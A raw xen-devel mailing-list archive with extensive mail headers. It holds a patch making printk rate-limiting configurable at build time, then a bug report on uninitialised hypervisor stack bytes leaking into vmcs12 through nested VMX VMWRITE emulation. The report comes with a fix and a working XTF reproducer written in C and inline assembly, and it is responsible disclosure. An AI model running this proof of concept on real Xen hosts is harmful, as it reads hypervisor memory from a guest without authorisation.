 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=9YpsmNRekS9oIq3/N3tPLgQiNEBPnt5Dveap4jDXsoM=;
 b=I8RKNuvD5hQppWIkopJPo37dkDriAn78285WFyalYd0nq1Jc+SJdsi6AqXRvSoM86mQQAHwsDH2fHY4qneh01xQSoqf9WohfDP3yUFY+A61kiBl2DoBClfXfVfOQ5Rx7fcI2Fc2XW63790o2ALuSpcU7dp8SrVNQkBGA3RxMGxs=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=9YpsmNRekS9oIq3/N3tPLgQiNEBPnt5Dveap4jDXsoM=; b=
	C28jW44O2g/L5Jtlwb/9YFLsZQaOE4ZgNQpa2BVBEa4GaO0b8ZEaaP0T3yVC1NKR
	CXZ+LiC6+WP4D/ikUtrzJk1T6m3wq7teU0pitr6QfLdzrW8eSGtTQ7FmhqpNVNCu
	3QxM1D5n00L0jyhE5OXnN+IsD6RjLmbVfoE3b0I70t/fgBbAS0WnbId/xcj8Qo7n
	UZPqvXPwbhtJuRtnKJb8ecjdlaGHYZzsm+2fkOxErsiiY0MEaenpgHFklqZGz345
	Je3F/6DWA0A2RZZO8yR9jmcoFEEA4fpfC7dc/ZBYxN0gS9aXGc0BtO0PLyS04Kjw
	HLFqH+j5IBYl4hTXfLSDJA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=9YpsmNR
	ekS9oIq3/N3tPLgQiNEBPnt5Dveap4jDXsoM=; b=oQE/qW5xDjEmYPVy28TSmlo
	PaqKfhpDcVy8lbkm8bhC4RhKAzoRGjTRpVoaYXUrcm+EjVK+9Mc4iYX6zxNPew9c
	v27LmPtkDCWlCMNUTKY6cKbMW8asQMm1mHfHz38hRnc8EfAcx/z37OOJHGFJJ3IX
	2CLcB7xxtdlxaqhtGDyoc+qx5YsZ+5O+UEH1YadQNOfDyEw6lc0AmaUe5RoXGcf6
	nqqVTGik4FdDOp5FeU7jZElVMnqueSiR/DwS0t9NijaHyB4Kp5QiX/AJEwhNeFg+
	qYjytVQrJoifisDwStlahSCVSDAnbML/JaDNdPfTYOce2Zv0HACOaMdBaILmufg=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: k64YwJyRWwVVek64ZwDAR4
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v3 3/4] xen/console: add build-time rate-limiting controls
Date: Wed, 15 Jul 2026 13:19:01 -0700
Message-ID: <20260715201902.2984407-4-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260715201902.2984407-1-dmukhin@ford.com>
References: <20260715201902.2984407-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-15_04,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 adultscore=0 lowpriorityscore=0 phishscore=0 spamscore=0 bulkscore=0
 malwarescore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607150203
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PEPF000075F3:EE_|CO6PR16MB4244:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: e144036c-bd26-45bc-a8cc-08dee2ae5987
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|36860700016|82310400026|23010399003|1800799024|10067099003|6133799003|56012099006|11063799006|18002099003|22082099003|3023799007;
X-Microsoft-Antispam-Message-Info:
	GP/S60n7eqwUZmboVbD/6kQSjpNCigVWyfVO8BOyFiEuIm6Nl+x4IUUcfU+QDUXf83RjdD47BnPA2/CSkBeDbBht0UbjlKAaJatkogs6ZOGXdnI0a2zx5ZIuj96N7NI/GCrbOcG1j1EYIIa/gV97zUqfk6uA0b7NE0QighOqIkUhxp2MTlWND0DzHb2IKcghjvOttSyOy8Vt6JAEZKOMs49P/kbkfi/q9PQnjRNTKBUwAoJdHYqQs3b8n6GKmFmaEuC1Qc7t0N1kAs+fctPt53R7dZMintBKRiUMdYN+A7FeasuH5D8VI0rITDdw/Wd9/UquVNkJAjmw5OnjDQ4G4vrdC4tkTEI9x/YDbeTyaJyT/2ZcOl+urA27fOs1F4vttCg0E2sS2IYvqbzxWLwaX4/gcbpVmHcqzgYG4Y4qz77AVxM2pPln/pZdznIL9MTuCJ2r6yIb6SaOE5X1vyAOITH6/tg4akg/eWmpVSNkoL9owsx7Qzfz6Mo1mj02Nsm+X4efZ589zi+RDvWrj+JE5ioNT6t5pk9Ne3re4hpazgsrki1ejHwIuSTnjzkvN6Y7PAXxs/IYPqS7RoNT8n5mjGSlj0iObkD+zGQfFb+e/mtWNKn/5/0vJ1/BI5UgiBvDg31M9GnStH1CnKEG5moa+I6lZfjqSpg9Z/Mme74yVCHv4ewrhj24tknUIwGtYR6dYUXJi+H8DMtNTu3I5W5y/w==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(376014)(36860700016)(82310400026)(23010399003)(1800799024)(10067099003)(6133799003)(56012099006)(11063799006)(18002099003)(22082099003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	OexXWVnK+Lf8SsHy9fO5qVELwGmLBfyOHpDyt52SdTJiWy7sqdIn2tjl4VhtRpB5j5MCDe/0FfYN+KWIk1xbmksF88wJ6BOwGa06ZX7QtsanCVAR3O+4VeDvRtNpM6d4M751k2jKNAKlHlgA5Y6VX/gSZh51DtMWvGLBJbsdLL3LQUjEebD6+erml3CBHQCcA2c9IUodzarGJEc2kwjJus6ieOg4SGGT4QFJ9vvTipxkL/eFPJtUhwjfPIvL/kZwOc9Tmwc99TQNaxGF8cSUDJyr+4evI0qKgX9x1p//T5Dh1hhpSfiIBrCoCA/iwgV9kzkojeeqVuTKqG79QW+6N7eJqiIsx6ixPhN3eYIkLsHr6Qcsqiyg2uDG688orWRSLs9wNeCRL67q6voLm79vkmTGysHk3ekKKoGut1fFyEBtSxfHnkXp1ANkxDAbXipW
X-Exchange-RoutingPolicyChecked:
	OvNpNABdSd96uw7yi8x1Vx54/TFehLbXO3nvyKL0ij9hhASVYmY54CsB1ZouxlmIrHDjKmCHHDNiQmV94H4+yfccsKWDaXczSDMW9xtmTPFb/bMtbF6Z3ztlTxGh/JBRNvnAUXI2DP9ccDZzB8FOHeGZTzmu9SislyKG5y6SnLdVCuWb9t5V0Ctj9pLhuIgB0y/+Lpol+WPTZ2M/mGaFz1xzZRrfEkGwKeoV+CTlIWGBTchdvtag7gvMtxa5O0y2E437K/Tf1CCAipUlPKGvLBVbn1xWzhSZBK+p47jhmB8HrUGn8MiAfG6MXo+HelQd3FqsdqT5yqNYmunzxxpg4g==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	/1a/naMLI1oQwZLE53x4Ln5y1gdvM6PIIKm94ARrvYtLAswjdyZ+YYi5EXlMxe6FHMqYt6aI5h/Tmas3HuG1IufHcwXbOcFxpPGuJDYA5hHoPnGRGIew1w9frLNaeMCSLklwSyHUX8E0Wb1g2pqyGImuygQtEGbWwEdRwczHzEosnG0rU2C6efx84QZQVWzkDom0khQqcfIYYX7fDug02nexqxFQ/88y1uxm4AuCuHB7PJKX6MgTlyA0bAEq9lF/R9PWAS2pAKl1m+L02aaiwaTDDZYTE4C/kknPEcx7MxZUnQ8SrHXKSUjbEfxAh7qJIApqZVSFLNavJIj8VhqFs4ZuoN3uTjhQzpznQKURvDXIIBFfwmIJTDh9onry8sQqpn8vNgJs7tanqNYVfgwWtuIpODX9DmmHvLPdmZ3ugJmuHZfJ50o4PvLUQK016GgU8WNby3bFLaDc7Es/1Z1xry06Vo+H9AviHSPdhDYilnfPTHiRCSirkzKJk1aFcQy+9zrCyOnB25d83hGGwWv3AaXlSpr95chQNfaQA2BqYw2MLgbUaz9VaqM2M4QcuZLG1nK7gT4iutGgqls4n11HMFJg/6Ea8/+BrNSsT+88B7BeOwgJZbibvOdlEkKHr1S7sQdkYADLB1VtWUvybCgApQ==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 15 Jul 2026 20:19:18.6119
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: e144036c-bd26-45bc-a8cc-08dee2ae5987
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CO1PEPF000075F3.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CO6PR16MB4244
X-Authority-Analysis: v=2.4 cv=U56iy+ru c=1 sm=1 tr=0 ts=6a57eb5a cx=c_pps
 a=J5CYyyHZZtesdUd/yj239g==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=NvsXeTrgx-CJMFV-xl94:22 a=cbNQJ9GKAAAA:8
 a=KRdSKdEVfKJUlWCUXkMA:9 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-ORIG-GUID: iA1KvHjLBJyrUaUmPwcYqUzj-geT1LhC
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE1MDIwMyBTYWx0ZWRfX2wh+fi6UEljr
 p+TLbI1ta8/4pGZzTxCxCFkGyzxJYgbWticdgkUWFO5XuKNcpyOq2g6wxzy+N/aO9bK4TeG2Fvo
 LRLVywG48Dm3WPrbUVo6Ksqy7cSbLFWMRaIX7blt50Vm5g+mqQKg0H9I8bTufIaKN61hcKCAncZ
 oVAtMarwYCrFBarmumzGSWW4HEiOqJAVtYJEdB6gtGjMR+7sw3utMDc8x4tz2900YlRi2Cw0d74
 F2SNxxNgGuM/cjKkVxav+XS4q8LnhUMolF6hGDEYLoN6nLkk47/+qP/3zk8NhnYuDGHQc43O6I6
 +dtfoCV+CNfhRB63e7tasGkdJUW3LyDb9hbHarUhWmUf1PEHUbMrRlD8OlO91ZWIZ0IxcpDHNB/
 /aOj846vZ7ilqxUkp66LWgUxDTiS70AXV7jxBYBPY+XnbyzNFKdZWGEt5B4xlGyBaWsQD/yEqA+
 PZVToGvQ9NduovXhQ4w==
X-Proofpoint-GUID: iA1KvHjLBJyrUaUmPwcYqUzj-geT1LhC
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE1MDIwMyBTYWx0ZWRfX/DhIlTj3U+h4
 qa0eWC1ao4e8V99Os3pmUCM4ZIkt2eQbEVchqtNKosxaaEdMBAOvJ91HERFdBgC37kYq+B+Yu4p
 jg529WpplGFGt5mfkf4CuTscZy9ffRJnL6m5mYOb2V8ygx5dp1cE
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-15_04,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 adultscore=0
 priorityscore=1501 lowpriorityscore=0 impostorscore=0 suspectscore=0
 bulkscore=0 malwarescore=0 phishscore=0 spamscore=0 clxscore=1015
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607150203
X-purgate-ID: tlsNG-720697/1784146788-303C42AC-EB860FC8/0/0
X-purgate-type: clean
X-purgate-size: 2541

From: Denis Mukhin <dmukhin@ford.com> 

Introduce CONFIG_PRINTK_RATELIMIT_MS and CONFIG_PRINTK_RATELIMIT_BURST
for configuring rate-limiting policy at the compile time.

Use symbols for global rate-limiting initialization in the console driver.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v2:
- moved rate-limiting controls to common/Kconfig
---
 xen/common/Kconfig         | 29 +++++++++++++++++++++++++++++
 xen/drivers/char/console.c |  6 ++++--
 2 files changed, 33 insertions(+), 2 deletions(-)

diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index da80fdba8469..fd22806884e0 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -672,4 +672,33 @@ config PM_STATS
 	  Enable collection of performance management statistics to aid in
 	  analyzing and tuning power/performance characteristics of the system
 
+menu "Console rate-limiting"
+
+config PRINTK_RATELIMIT_MS
+	int "printk rate-limiting time window (milliseconds)"
+	default 5000
+	help
+	  Specifies the time window, in milliseconds, for rate-limited printk
+	  messages. No more than `CONFIG_PRINTK_RATELIMIT_BURST` messages will be
+	  printed within this window.
+
+	  Setting this value to 0 disables rate-limiting entirely.
+
+	  Rate-limited messages are those controlled by the `loglvl` and
+	  `guest_loglvl` command-line parameters.
+
+config PRINTK_RATELIMIT_BURST
+	int "printk rate-limited message burst size"
+	default 10
+	help
+	  Defines the maximum number of rate-limited printk messages that may be
+	  printed within each `CONFIG_PRINTK_RATELIMIT_MS` time window.
+
+	  Setting this value to 0 disables rate-limiting entirely.
+
+	  Rate-limited messages are those controlled by the `loglvl` and
+	  `guest_loglvl` command-line parameters.
+
+endmenu
+
 endmenu
diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index de9f2432445d..a9520f5521e4 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -1323,10 +1323,12 @@ bool __printk_ratelimit(unsigned int ratelimit_ms,
 }
 
 /* Minimum time in ms between messages */
-static const unsigned int printk_ratelimit_ms = 5 * 1000;
+static const unsigned int printk_ratelimit_ms =
+    CONFIG_PRINTK_RATELIMIT_MS;
 
 /* Number of messages we send before ratelimiting */
-static const unsigned int printk_ratelimit_burst = 10;
+static const unsigned int printk_ratelimit_burst =
+    CONFIG_PRINTK_RATELIMIT_BURST;
 
 bool printk_ratelimit(void)
 {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 05:15:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 05:15:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363393.1615072 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkERY-0005Ho-Jq; Thu, 16 Jul 2026 05:15:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363393.1615072; Thu, 16 Jul 2026 05:15:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkERY-0005Hf-EC; Thu, 16 Jul 2026 05:15:32 +0000
Received: by outflank-mailman (input) for mailman id 1363393;
 Wed, 15 Jul 2026 22:06:50 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hoepf@cit.tum.de>) id 1wk7kc-0004YV-9S
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 22:06:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wk7kb-00Ca8C-Bu
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 00:06:45 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hoepf@cit.tum.de>)
 id 6a58045e-2eae-0a2a0a5409dd-0a2a4501e296-22
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 00:06:44 +0200
Received: from [131.159.0.202] (helo=mailout2.rbg.tum.de)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hoepf@cit.tum.de>)
 id 6a580474-5984-0a2a45010019-839f00cac8bf-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 00:06:44 +0200
Received: from mailrelay1n.ito.cit.tum.de (mailrelay1.in.tum.de
 [IPv6:2a09:80c0:254::14])
 by mailout2.rbg.tum.de (Postfix) with ESMTPS id E029F4C024B
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 00:06:43 +0200 (CEST)
Received: from mail.in.tum.de (vmrbg426.in.tum.de [131.159.0.73])
 by mailrelay1n.ito.cit.tum.de (Postfix) with ESMTPS id 4h0qyW5TQLz2xKm
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 00:06:43 +0200 (CEST)
Received: by mail.in.tum.de (Postfix, from userid 112)
 id B8E3E4A01F6; Thu, 16 Jul 2026 00:06:43 +0200 (CEST)
Received: (Authenticated sender: hoepf)
 by mail.in.tum.de (Postfix) with ESMTPSA id 8CA9E4A01F4
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 00:06:39 +0200 (CEST)
 (Extended-Queue-bit xtech_mo@fff.in.tum.de)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20220209 header.d=cit.tum.de header.i="@cit.tum.de" header.h="Date:From:To:Subject"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=cit.tum.de;
	s=20220209; t=1784153203;
	bh=J1ZpW0xJ1BixoNlsZjIQPIC3aPORk3p7rLAuahDIEP0=;
	h=Date:From:To:Subject:From;
	b=B/F2Klp+/M/hs16nNuSNqKHD51iTyGV2nDJDBpbuIDkshNXZ1ZcXHVJMmw1/INFmy
	 KQfkNj/hFKWv/uxZovsBjbNFP3hgpKe4SPixyWRd/+4zO8WmCBF8YnM4hjMkX9Ka5+
	 1IWt5D4uqmXQ0imgmzBcnPdl0rTs5GwqStAWDST0zlUiA97Khfdck9l/K+/xCagrwH
	 l14iRrIXjNt9IVdMk6i1BLv3dfTdV6IaQ6z79wMxE1dmcrdZ+QvewNat7jtu2SIH1m
	 VNIjIb/YD33H0BgvBc7vbGNYaAigazCpupqpBhTQhaBXXl7nWdjGILJElmXJ5frHnD
	 yKJiAW7d3QMzQ==
Date: Thu, 16 Jul 2026 00:06:38 +0200
From: Johann =?utf-8?Q?H=C3=B6pfner?= <hoepf@cit.tum.de>
To: xen-devel@lists.xenproject.org
Subject: [BUG] uninitialised stack memory copied to vmcs12
Message-ID: <alfcosYs35pOCslN@cit.tum.de>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
X-Virus-Scanned: clamav-milter 1.5.3 at itovm121
X-Virus-Status: Clean
X-purgate-ID: tlsNG-d62444/1784153204-1E07B757-EEA506EF/0/0
X-purgate-type: clean
X-purgate-size: 4732

Hello xen-devel@

While fuzzing Xen instrumented by an experimental memory sanitizer, we
discovered the following bug in nested VMX, where a malicious L1 guest
with nestedhvm=1 can read four uninitialised bytes from the hypervisor
vmexit handler stack. 

Specifically nvmx_handle_vmwrite leaves local eight byte variable
'operand' uninitialised. It is then written to by decode_vmx_inst. In
cases where the operand to vmwrite is a r32, r64 or m64, this fully
initializes *poperandS; if however a vmwrite with a 32 bit memory
operand is emulated, hvm_copy_from_guest_linear leaves the upper half of
*poperandS uninitialised. In the case where cpu_has_vmx_shadow_vmcs
returns true, the resulting eight byte value is consequently written to
the vmcs12 unchecked and leaks the four uninitialised bytes into guest
physical memory via the vmcs12.

Attached is a reproducer for XTF which triggers the behavior described
above at least on 4.20 and master versions of Xen running on intel
x86_64 hosts. We would expect there to be the constant 0x99999999, which
we have just vmwritten, somewhere in the unloaded vmcs12, likely zero
extended to eight bytes. However it is stored instead alongside four
bytes read from the hypervisor stack. Currently I am not aware of
security implications for this bug, as I have not been able to leak more
than what appear to be the rather uninteresting upper four bytes of a
pointer.

The same issue exists in nvmx_handle_invept, though no malicious use is
known to me. I suggest fixing both by simply initialising operand / eptp
to 0 in nvmx_handle_vmwrite / nvmx_handle_invept. Patch is given
immediately below, preceding the reproducer.


diff --git a/xen/arch/x86/hvm/vmx/vvmx.c b/xen/arch/x86/hvm/vmx/vvmx.c
index e4cdfe55c1..3f9cf7962e 100644
--- a/xen/arch/x86/hvm/vmx/vvmx.c
+++ b/xen/arch/x86/hvm/vmx/vvmx.c
@@ -1968,7 +1968,7 @@ static int nvmx_handle_vmwrite(struct cpu_user_regs *regs)
 {
     struct vcpu *v = current;
     struct vmx_inst_decoded decode;
-    unsigned long operand; 
+    unsigned long operand = 0;
     u64 vmcs_encoding;
     enum vmx_insn_errno err;
     int rc;
@@ -2012,7 +2012,7 @@ static int nvmx_handle_vmwrite(struct cpu_user_regs *regs)
 static int nvmx_handle_invept(struct cpu_user_regs *regs)
 {
     struct vmx_inst_decoded decode;
-    unsigned long eptp;
+    unsigned long eptp = 0;
     int ret;
 
     if ( (ret = decode_vmx_inst(regs, &decode, &eptp)) != X86EMUL_OKAY )



/** Makefile **/

include $(ROOT)/build/common.mk
NAME      := vmx32
CATEGORY  := functional
TEST-ENVS := hvm32
TEST-EXTRA-CFG := extra.cfg.in
obj-perenv += main.o
include $(ROOT)/build/gen.mk

/** extra.cfg.in **/

nestedhvm = 1

/** main.c **/

#include <xtf.h>
const char test_title[] = "test vmwrite m32 leak";
static uint8_t vmxon_region[PAGE_SIZE] __aligned(PAGE_SIZE);
static uint8_t vmcs_region[PAGE_SIZE] __aligned(PAGE_SIZE);
static uint32_t identity_pde[1024] __aligned(PAGE_SIZE);
void test_main(void) {
  if (!cpu_has_vmx) return xtf_skip("nested VMX required.");

  for (unsigned int i = 0; i < 1024; i++) {
    identity_pde[i] = (i << 22) | 0x83;
  }
  write_cr3(_u(identity_pde));
  write_cr4(read_cr4() | X86_CR4_PSE | X86_CR4_VMXE);
  write_cr0(read_cr0() | X86_CR0_PG | X86_CR0_NE);

  uint32_t rev = (uint32_t)rdmsr(0x480);
  *(uint32_t *)vmxon_region = rev;
  *(uint32_t *)vmcs_region = rev;
  uint32_t vmxon_pa = _u(vmxon_region);
  uint32_t vmcs_pa = _u(vmcs_region);
  uint8_t err;

  uint32_t field = 0x2000;
  uint32_t val = 0x99999999;

  asm volatile("vmxon %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmxon_pa) : "cc", "memory");
  if (err) return xtf_error("Error: VMXON failed\n");
  asm volatile("vmclear %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory"); 
  if (err) return xtf_error("Error: VMCLEAR failed\n");
  asm volatile("vmptrld %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory");
  if (err) return xtf_error("Error: VMPTRLD failed\n");

  asm volatile("vmwrite %[val], %[field]; setbe %[err]" : [err] "=q"(err) : [val] "m"(val), [field] "r"(field) : "cc", "memory");
  if (err) return xtf_failure("Fail: VMWRITE failed\n");

  asm volatile("vmclear %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory");
  if (err) return xtf_error("VMCLEAR failed! Cannot dump.\n");

  for (int i = 0; i < 1024; i++) {
    printk("%08x ", ((uint32_t *)vmcs_pa)[i]); if ((i + 1) % 4 == 0) printk("\n");
  }

  asm volatile("vmptrld %[pa]; setbe %[err]" : [err] "=q"(err) : [pa] "m"(vmcs_pa) : "cc", "memory");
  asm volatile("vmxoff" ::: "cc", "memory");
}


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 06:49:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 06:49:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363480.1615080 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkFua-0007fs-0U; Thu, 16 Jul 2026 06:49:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363480.1615080; Thu, 16 Jul 2026 06:49:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkFuZ-0007fk-TY; Thu, 16 Jul 2026 06:49:35 +0000
Received: by outflank-mailman (input) for mailman id 1363480;
 Thu, 16 Jul 2026 06:49:35 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkFuY-0007fe-Tn
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 06:49:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkFuY-00D4vj-A9
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 08:49:34 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a587efd-bab6-0a2a0a5309dd-0a2a450c98ac-6
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 08:49:34 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a587efd-f479-0a2a450c0019-d155dd33d9c3-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 08:49:34 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47df440fcd5so3460155f8f.3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 23:49:34 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f464c9cc3sm22933496f8f.35.2026.07.15.23.49.33
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 15 Jul 2026 23:49:33 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
